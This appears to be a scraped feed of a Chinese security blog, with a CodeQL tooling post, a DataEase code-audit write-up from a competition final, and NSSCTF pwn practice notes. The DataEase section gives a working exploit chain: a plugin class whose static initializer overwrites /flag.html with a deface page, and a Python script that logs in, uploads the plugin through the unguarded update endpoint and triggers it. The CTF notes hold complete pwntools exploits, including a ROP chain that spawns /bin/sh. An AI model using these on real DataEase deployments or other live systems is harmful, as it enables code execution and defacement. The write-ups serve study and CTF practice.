            ByteBuffer buffer = ByteBuffer.wrap(header.getBytes());
            while (buffer.hasRemaining()) {
                sc.write(buffer);
            }
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        

    }


}
]]> <p>在LINUX环境下，可以通过文件描述符”&#x2F;proc&#x2F;self&#x2F;fd&#x2F;i”获取到网络连接，在java中我们可以直接通过文件描述符获取到一个Stream对象，对当前网络连接进行读写操作，可以釜底抽薪在根源上解决回显问题。</p> <p>我 codeql带依赖jar包数据库生成 https://www.n1ght.cn/2025/06/16/codeql%E5%B8%A6%E4%BE%9D%E8%B5%96jar%E5%8C%85%E6%95%B0%E6%8D%AE%E5%BA%93%E7%94%9F%E6%88%90/ 2025-06-16T09:30:00.000Z 2025-06-16T09:38:52.323Z codeql带依赖jar包数据库生成

这个月听群友聊ai编程比较感兴趣，去试了试便宜的trae，首月3美元。玩了一会儿感觉不写点什么对不起这*3美元*

于是

https://github.com/yezere/codeql_n1ght

也顺便为了方便我使用codeql搭建数据库，毕竟每次手操做还是太累了。

以前也有师傅问过我怎么搭建带依赖的数据库，其实用ant去构建就行了，但是还是会报错 你就说数据库搭建没搭建起来吧

直接下载可执行文件

从 Releases 页面下载对应平台的可执行文件。

-h是帮助

1
2
3
4
5
# 安装所有必要工具（JDK、Apache Ant、CodeQL）
./codeql_n1ght -install

# 使用自定义下载地址安装
./codeql_n1ght -install -jdk https://your-jdk-url.zip -codeql https://your-codeql-url.zip

可以去指定工具版本的下载

创建数据库

1
2
3
4
5
6
7
8
9
10
11
# 从 JAR 包创建数据库
./codeql_n1ght -database your-app.jar

# 从 WAR 包创建数据库
./codeql_n1ght -database your-webapp.war

# 指定反编译器类型
./codeql_n1ght -database your-app.jar -decompiler fernflower

# 反编译自己想要的lib，将jar包放入lib文件夹下，打包成zip
./codeql_n1ght -database your-zip.zip

命令行参数

参数说明示例
​-install​一键安装环境​./codeql_n1ght -install​
​-database​指定要分析的 JAR/WAR 文件​./codeql_n1ght -database app.jar​
​-decompiler​选择反编译器 (procyon|fernflower)​./codeql_n1ght -database app.jar -decompiler fernflower​
​-jdk​自定义 JDK 下载地址​./codeql_n1ght -install -jdk https://example.com/jdk.zip​
​-ant​自定义 Apache Ant 下载地址​./codeql_n1ght -install -ant https://example.com/ant.zip​
​-codeql​自定义 CodeQL 下载地址​./codeql_n1ght -install -codeql https://example.com/codeql.zip​

WAR 包特殊处理

本工具针对 WAR 包进行了特殊优化：

  • Spring Boot JAR/WAR：自动处理 BOOT-INF/classes​ 和 BOOT-INF/lib​ 目录
  • 传统 WAR：兼容处理 WEB-INF/classes​ 和 WEB-INF/lib​ 目录
  • JSP 文件：使用专用的 jsp2class.jar​ 进行反编译
  • 智能路径检测：自动识别不同的 WAR 包结构
]]> <h1 id="codeql带依赖jar包数据库生成"><a href="#codeql带依赖jar包数据库生成" class="headerlink" title="codeql带依赖jar包数据库生成"></a>codeql带依赖jar包数据库生成</h1><p>这个月听群友 qwb-final-dataease代码审计 https://www.n1ght.cn/2024/12/07/qwb-final-dataease%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/ 2024-12-06T16:00:00.000Z 2024-12-07T15:15:21.848Z github远程数据库获取
使用gh查询

1
gh api /repos/<owner>/<repo>/code-scanning/codeql/databases

返回信息类如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[
  {
    "id": 52476457,
    "name": "database.zip",
    "language": "javascript",
    "uploader": {
      "login": "github-advanced-security[bot]",
      "id": 62310815,
      "node_id": "MDM6Qm90NjIzMTA4MTU=",
      "avatar_url": "https://avatars.githubusercontent.com/in/57789?v=4",
      "gravatar_id": "",
      "url": "https://api.github.com/users/github-advanced-security%5Bbot%5D",
      "html_url": "https://github.com/apps/github-advanced-security",
      "followers_url": "https://api.github.com/users/github-advanced-security%5Bbot%5D/followers",
      "following_url": "https://api.github.com/users/github-advanced-security%5Bbot%5D/following{/other_user}",
      "gists_url": "https://api.github.com/users/github-advanced-security%5Bbot%5D/gists{/gist_id}",
      "starred_url": "https://api.github.com/users/github-advanced-security%5Bbot%5D/starred{/owner}{/repo}",
      "subscriptions_url": "https://api.github.com/users/github-advanced-security%5Bbot%5D/subscriptions",
      "organizations_url": "https://api.github.com/users/github-advanced-security%5Bbot%5D/orgs",
      "repos_url": "https://api.github.com/users/github-advanced-security%5Bbot%5D/repos",
      "events_url": "https://api.github.com/users/github-advanced-security%5Bbot%5D/events{/privacy}",
      "received_events_url": "https://api.github.com/users/github-advanced-security%5Bbot%5D/received_events",
      "type": "Bot",
      "site_admin": false
    },
    "content_type": "application/zip",
    "size": 90378463,
    "created_at": "2024-03-19T05:00:25Z",
    "updated_at": "2024-03-19T05:00:27Z",
    "url": "https://api.github.com/repositories/80249302/code-scanning/codeql/databases/javascript",
    "commit_oid": "e9b53833523d88d9bee77a4d45b4868ab2bc9a25"
  }
]

获取到相关内容下载

1
gh api /repos/<owner>/<repo>/code-scanning/codeql/databases/<language> -H 'Accept: application/zip' > path/to/local/database.zip

设置语言即可下载

实验的代码

1
2
gh api /repos/craftcms/cms/code-scanning/codeql/databases
gh api /repos/craftcms/cms/code-scanning/codeql/databases/javascript -H 'Accept: application/zip' > /mnt/h/test-database.zip

返回内容

​image​

后面我们使用codeql进行查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
 * @name Empty block
 * @kind problem
 * @problem.severity warning
 * @id java/example/empty-block
 */

import java

class SourceController extends Method  {
    SourceController(){
        getQualifiedName().regexpMatch(".+Controller.+")
    }
}
class SinkMethod extends Callable {
    SinkMethod(){
        getACallee().getName().regexpMatch(".*localInstall.*")
    }
}

from SourceController source,SinkMethod sink
where source.calls(sink)
select source,source.getQualifiedName(),sink,sink.getQualifiedName()

使用codeql进行查询

​image​

可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
server {
    listen       80;
    server_name  localhost;
  
    location = /flag.html {
        root   /usr/share/nginx/html;
    }

    location /api/plugin/upload {
        if ($request_method = POST) {
            return 403;
        }
    }

    location /driver/file/upload {
        if ($request_method = POST) {
            return 403;
        }
    }

    location /staticResource/upload/ {
        if ($request_method = POST) {
            return 403;
        }
    }

    location / {
        proxy_pass http://dataease:8081;  # 内网服务器地址
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

localupload杯禁用但是update没有我们可以覆盖插件后进行连接

​image​

需要注意的是

​image​

这段代码有一个逻辑

​image​

我们的plugin.json要写成

1
2
3
4
5
6
7
8
9
10
11
12
13
{
  "name": "达梦数据源插件",
  "store": "default",
  "free": 0,
  "cost": 0,
  "category": "datasource",
  "descript": "达梦数据源插件",
  "version": "1.18.26",
  "creator": "DATAEASE",
  "moduleName": "dm-backend",
  "icon": null,
  "dsType": "../default/dm"
}

我们通过简单的方法patch一下即可，但是final的要求是hack.html页面

他的hack.html页面在/目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package io.dataease.plugins.datasource.dm.provider;

import io.dataease.plugins.datasource.entity.JdbcConfiguration;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;

public class DmConfig extends JdbcConfiguration {
  static {
    try {
      (new File("/flag.html")).delete();
      FileOutputStream out = new FileOutputStream("/flag.html");
      out.write(Base64.getDecoder().decode("PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogIDx0aXRsZT5IYWNrIGJ5IFBvbGFyaXM8L3RpdGxlPg0KICA8c3R5bGU+DQogICAgYm9keSB7DQogICAgICBtYXJnaW46IDA7DQogICAgICBiYWNrZ3JvdW5kOiBibGFjazsNCiAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICBoZWlnaHQ6IDEwMHZoOw0KICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgIGNvbG9yOiB3aGl0ZTsNCiAgICAgIGZvbnQtZmFtaWx5OiAnQXJpYWwnLCBzYW5zLXNlcmlmOw0KICAgIH0NCg0KICAgIC5oYWNrLXRleHQgew0KICAgICAgZm9udC1zaXplOiA1MHB4Ow0KICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgIHRleHQtc2hhZG93OiAwIDAgNXB4ICMwMGZmMDAsIDAgMCAxMHB4ICMwMGZmMDAsIDAgMCAyMHB4ICMwMGZmMDAsIDAgMCA0MHB4ICMwMGZmMDA7DQogICAgICBhbmltYXRpb246IGdsaXRjaCAycyBpbmZpbml0ZTsNCiAgICB9DQoNCiAgICBAa2V5ZnJhbWVzIGdsaXRjaCB7DQogICAgICAwJSwgMTAwJSB7DQogICAgICAgIHRleHQtc2hhZG93OiAwIDAgNXB4ICMwMGZmMDAsIDAgMCAxMHB4ICMwMGZmMDAsIDAgMCAyMHB4ICMwMGZmMDAsIDAgMCA0MHB4ICMwMGZmMDA7DQogICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDAsIDApOw0KICAgICAgfQ0KICAgICAgMjAlIHsNCiAgICAgICAgdGV4dC1zaGFkb3c6IC0ycHggLTJweCA1cHggI2ZmMDAwMCwgMnB4IDJweCAxMHB4ICMwMDAwZmYsIDJweCAycHggMjBweCAjZmYwMDAwOw0KICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtM3B4LCAycHgpOw0KICAgICAgfQ0KICAgICAgNDAlIHsNCiAgICAgICAgdGV4dC1zaGFkb3c6IDJweCAycHggNXB4ICNmZjAwMDAsIC0ycHggLTJweCAxMHB4ICMwMDAwZmYsIC0ycHggLTJweCAyMHB4ICNmZjAwMDA7DQogICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDNweCwgLTJweCk7DQogICAgICB9DQogICAgfQ0KDQogICAgLnNjYW5saW5lcyB7DQogICAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgICB0b3A6IDA7DQogICAgICBsZWZ0OiAwOw0KICAgICAgd2lkdGg6IDEwMCU7DQogICAgICBoZWlnaHQ6IDEwMCU7DQogICAgICBiYWNrZ3JvdW5kOiByZXBlYXRpbmctbGluZWFyLWdyYWRpZW50KA0KICAgICAgICB0byBib3R0b20sDQogICAgICAgIHJnYmEoMCwgMCwgMCwgMC4xKSAwLA0KICAgICAgICByZ2JhKDAsIDAsIDAsIDAuMSkgMnB4LA0KICAgICAgICByZ2JhKDAsIDAsIDAsIDAuMikgMnB4LA0KICAgICAgICByZ2JhKDAsIDAsIDAsIDAuMikgNHB4DQogICAgICApOw0KICAgICAgcG9pbnRlci1ldmVudHM6IG5vbmU7DQogICAgICBhbmltYXRpb246IGZsaWNrZXIgMC4xcyBpbmZpbml0ZTsNCiAgICB9DQoNCiAgICBAa2V5ZnJhbWVzIGZsaWNrZXIgew0KICAgICAgMCUsIDEwMCUgew0KICAgICAgICBvcGFjaXR5OiAwLjg7DQogICAgICB9DQogICAgICA1MCUgew0KICAgICAgICBvcGFjaXR5OiAwLjY7DQogICAgICB9DQogICAgfQ0KICA8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHk+DQogIDxkaXYgY2xhc3M9ImhhY2stdGV4dCI+ZGF0YWVhc2UgSGFjayBieSBQb2xhcmlzPC9kaXY+DQogIDxkaXYgY2xhc3M9InNjYW5saW5lcyI+PC9kaXY+DQo8L2JvZHk+DQo8L2h0bWw+DQo="));
      out.flush();
      out.close();
    } catch (IOException e) {
      throw new RuntimeException(e);
    } 
  }
  
  public void setDriver(String driver) {
    this.driver = driver;
  }
  
  public void setExtraParams(String extraParams) {
    this.extraParams = extraParams;
  }
  
  private String driver = "dm.jdbc.driver.DmDriver";
  
  private String extraParams;
  
  public String getDriver() {
    return this.driver;
  }
  
  public String getExtraParams() {
    return this.extraParams;
  }
  
  public String getJdbc() {
    return "jdbc:dm://HOST:PORT"
      .replace("HOST", getHost().trim())
      .replace("PORT", getPort().toString());
  }
}

即可

自动化脚本，方便演示

zip -r poc.zip patch.jar plugin.json

打包成poc.zip，patch的jar包就不给了，不觉得自己分析是见很有趣的事情吗，跟打游戏一样，所以只有大体思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re
url = input("请输入url地址（例如：192.168.0.1）: \n")
# url = "192.168.0.102"
login_url = "http://{}:81/api/auth/login".format(url)
data = {
    "loginType":0,
    "password":"myZuoVBN0QkzG8ZDOfqsROJ/LvtyNUR9cdZD/TPCUdK8YuJOZgrfPqou29VXKlpW3SGIh++S4c6SwVhKg1yreg==",
    "username":"Vaa0/f4hbQNlZG7XIIk4uofw5di11LAy4HY8XucvH+qmu4mYouUd1jdBkLDTcfNHCImrlOXbM6Un2FapQfkjlg=="
}
login_resp = requests.post(login_url,json=data)

token = re.findall('token":"(.+?)"}}',login_resp.text)[0]
if token:
    print("登录成功")
else:
    print("登录失败")
header = {
    "Authorization":token
}
print("token: {}".format(token))
files = {
    "pluginId": (None, "13"),
    "file": ("poc.zip", open("poc.zip", "rb"), "application/octet-stream")
}
attack_resp = requests.post("http://{}:81/api/plugin/update/13".format(url),files=files,headers=header)
if "true" in attack_resp.text:
    print("注入恶意代码成功")
else:
    print("注入恶意代码失败")
connection = {"configuration":"{\"initialPoolSize\":5,\"extraParams\":\"\",\"minPoolSize\":5,\"maxPoolSize\":50,\"maxIdleTime\":30,\"acquireIncrement\":5,\"idleConnectionTestPeriod\":5,\"connectTimeout\":5,\"customDriver\":\"default\",\"queryTimeout\":30,\"host\":\"1\",\"port\":\"1\",\"username\":\"1\",\"password\":\"1\"}","apiConfiguration":[],"type":"dm","name":"1"}
requests.post("http://{}:81/datasource/getSchema/".format(url),headers=header,json=connection)
print("触发成功")

resp = requests.get("http://{}:81/flag.html".format(url))
if "Hack by Polaris" in resp.text:
    print("攻击成功")

​image​

]]> <p>github远程数据库获取<br>使用gh查询</p> <figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td>< NSSCTF刷题记录 https://www.n1ght.cn/2024/11/16/NSSCTF%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/ 2024-11-16T10:00:00.000Z 2024-11-16T11:10:58.828Z NSSCTF刷题记录

11.9

[GDOUCTF 2023]真男人下120层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from ctypes import *
import time
context.log_level = 'debug'

io = remote("node4.anna.nssctf.cn",28832)

clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

v4 = clibc.srand(int(time.time()))
v5 = clibc.srand(int(v4 % 3 - 1522127470))


time.sleep(1)
for i in range(121):
    choice = clibc.random()  % 4 + 1
    print(i)
    io.sendline(str(choice))


io.interactive()

[MoeCTF 2022]ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v4; // eax
  _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("I've prepared a gift for you, if you don't want to keep learning CET-4 words, find it out!");
  v3 = time(0LL);
  srand(v3);
  v4 = rand();
  learn[v4 % 100]();
  printf("Make a wish: ");
  read(0, buf, 0x64uLL);
  return 0;
}

注意一下对齐即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 24806
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
bin_sh = 0x0000000004023FF
system = elf.sym['system']
rop = ROP("./pwn")
# rdi = rop.find_gadget(["pop rdi","ret"])[0]
offset = 0x40 + 8
payload = flat([cyclic(offset),0x0000000004014BF])
sl(payload)
inter()

[NUSTCTF 2022 新生赛]ezPwn

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[10]; // [rsp+6h] [rbp-Ah] BYREF

  setbuf(_bss_start, 0LL);
  puts("Your name plz:");
  gets(v4);
  if ( v4[0] % 233 == 233 )
    system("cat flag");
  printf("Can you hack me? %s\n", v4);
  return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 25730
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
offset = 18
cat_flag = 0x000000000402013

rop = ROP("./pwn")
r()
payload = flat([cyclic(offset),0x000000000401229])
sl(payload)
inter()

[CISCN 2023 初赛]烧烤摊儿

发现负数有bug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from struct import pack
from ctypes import *
# from LibcSearcher import *
from pwn import *
def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def rl(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28373
io = remote(ip, port)
else:
io = process('./pwn')
info("pid: {}".format(io.pid))
 
elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
def shop():
    sl("1")
    sl("1")
    sl("-999999")
# for i in range(0,200):
    # shop()
shop()
sl("4")
sl("5")
from struct import pack

# Padding goes here
p = b'a'*0x28

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall
sl(p)

inter()

[HDCTF 2023]KEEP ON

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 vuln()
{
  char s[80]; // [rsp+0h] [rbp-50h] BYREF

  memset(s, 0, sizeof(s));
  puts("please show me your name: ");
  read(0, s, 0x48uLL);
  printf("hello,");
  printf(s);
  puts("keep on !");
  read(0, s, 0x60uLL);
  return 0LL;
}

是一个栈迁移

​%16$p​获取到rbp的地址

1
2
pwndbg> p/x 0x7ffe9c6c80b0-0x7ffe9c6c8060
$2 = 0x50

那就是-0x60

本地需要对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28465
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
rop = ROP("./pwn")
rdi = rop.find_gadget(["pop rdi","ret"])[0]
ret = rop.find_gadget(["ret"])[0]
leave = rop.find_gadget(["leave","ret"])[0]
print(leave)
system = elf.sym['system']
#libc = ELF('./libc-2.23-x64.so')
offset = 0x50 + 8



r()
sl("%16$p")
rl("hello,")
fake_rbp = int(p.recvuntil("\n",drop=True).decode("utf-8"),16) - 0x60
success("fake_rbp: {:#x}".format(fake_rbp))

payload = flat([b"/bin/sh\x00",ret,rdi,fake_rbp,system])
payload = payload.ljust(0x50,b'\x00') + p64(fake_rbp) + p64(leave)
# debug()
s(payload)

inter()

[SWPUCTF 2022 新生赛]Integer Overflow

检查安全机制

1
2
3
4
5
6
7
8
9
10
11
n1ght@DESKTOP-ISKQ7KA [13:50:34] [~/pwn/nss/SWPUCTF_2022_新生赛_Integer_Overflow] 
-> % checksec pwn
[*] '/home/n1ght/pwn/nss/SWPUCTF_2022_\xe6\x96\xb0\xe7\x94\x9f\xe8\xb5\x9b_Integer_Overflow/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int overflow()
{
  int v1; // [esp+Ch] [ebp-Ch] BYREF

  puts("1.yes");
  puts("2.no");
  printf("Tell me your choice:");
  __isoc99_scanf("%d", &v1);
  if ( v1 != 1 )
  {
    if ( v1 == 2 )
      choice2();
    elsechoice();
  }
  choice1();
